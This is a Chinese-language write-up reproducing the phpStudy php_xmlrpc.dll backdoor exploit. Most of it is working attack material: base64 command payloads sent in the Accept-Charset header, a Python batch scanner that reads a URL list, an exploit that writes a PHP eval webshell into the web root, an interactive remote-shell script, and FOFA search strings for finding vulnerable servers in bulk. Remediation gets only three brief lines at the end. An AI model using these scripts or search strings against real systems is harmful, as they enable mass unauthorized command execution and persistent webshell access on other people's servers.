phpStudy後門漏洞利用復現
一、漏洞描述
Phpstudy軟體是國內的一款免費的PHP除錯環境的程式整合包,通過整合Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer
多款軟體一次性安裝,無需配置即可直接安裝使用,具有PHP環境除錯和PHP開發功能,在國內有著近百萬PHP語言學習者、開發者使用者。
正是這樣一款公益性軟體,2018年12月4日,西湖區公安分局網警大隊接報案稱,某公司發現公司內有20餘臺計算機被執行危險命令,疑似遠端控制抓取賬號密碼等計算機資料 回傳大量敏感資訊。
二、後門漏洞影響版本
phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
三、漏洞危害
風險等級:高
風險危害:
1.獲取伺服器許可權
2.寫入webshell
四、後門漏洞復現流程
Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64編碼)
注意:
Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗號後面這個空格需要刪除,否則無回顯
payload也就是我們的php程式碼,構造要經過base64編碼過後再放入
復現過程:
抓取URL請求包,首頁即可
然後傳送到 Repeater模組測試
這裡可以看見前面所說的gzip逗號後面的空格沒有刪掉
再者Accept-Charset需要自己構造
我們構造一個 system('whoami'); base64編碼過後的然後傳送過去測試
這裡可以看見,執行了whoami
接下來編寫我們的 批量POC、EXP、互動shell
五、 Python編寫批量POC、EXP、互動shell
批量POC:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白紙書生 # @FileName: phpstudy_poc.py import requests def POC(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7' } try: response = requests.get(url=url,headers=headers,timeout=3) print(url) if response.status_code == 200: if "\"local<****>host\"" in response.text: print('存在phpstudy後門漏洞------------',url) return else: return except: return if __name__ == '__main__': for url in open(r'urls.txt'): POC(url)
EXP:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白紙書生
# @FileName: phpstudy_exp.py
import requests
def EXP(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept-Encoding': 'gzip,deflate',
'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
}
try:
response = requests.get(url=url,headers=headers,timeout=3)
if response.status_code == 200:
print('Success------------',url+"shell.php")
except:
return
if __name__ == '__main__':
for url in open(r'urls.txt'):
EXP(url)
exp這裡的payload是寫入webshell
payload:fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
通過$_SERVER['DOCUMENT_ROOT'] 獲取網站根目錄再寫入。
互動shell:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白紙書生
# @FileName: phpstudy_shell.py
import requests
import re
import base64
def SHELL(url):
try:
while 1:
shell = input(">>>")
shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept-Encoding': 'gzip,deflate',
'Accept-Charset': base64.b64encode(shell.encode()).decode()
}
response = requests.get(url=url,headers=headers,timeout=3)
text = re.findall(r"abds(.+?)abds",response.text,re.S)
print(text[0])
if shell == "0":
return
except:
print("異常")
if __name__ == '__main__':
url = 'http://localhost/'
SHELL(url)
回顯通過php的echo "abds"; 包裹著 也就是命令被兩個字串包裹著,然後我們通過python正則把它從abds中間提取出來即可
測試結果:
六、通過網路空間引擎批量搜尋
這裡採用fofa
構造通過返回的server
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"
感覺準確率不夠高的話,可以再加個php探針做限制
七、後門漏洞修復方式
1.更新phpstudy
2.手動刪除該dll檔案
3.採用火絨等防毒軟體查殺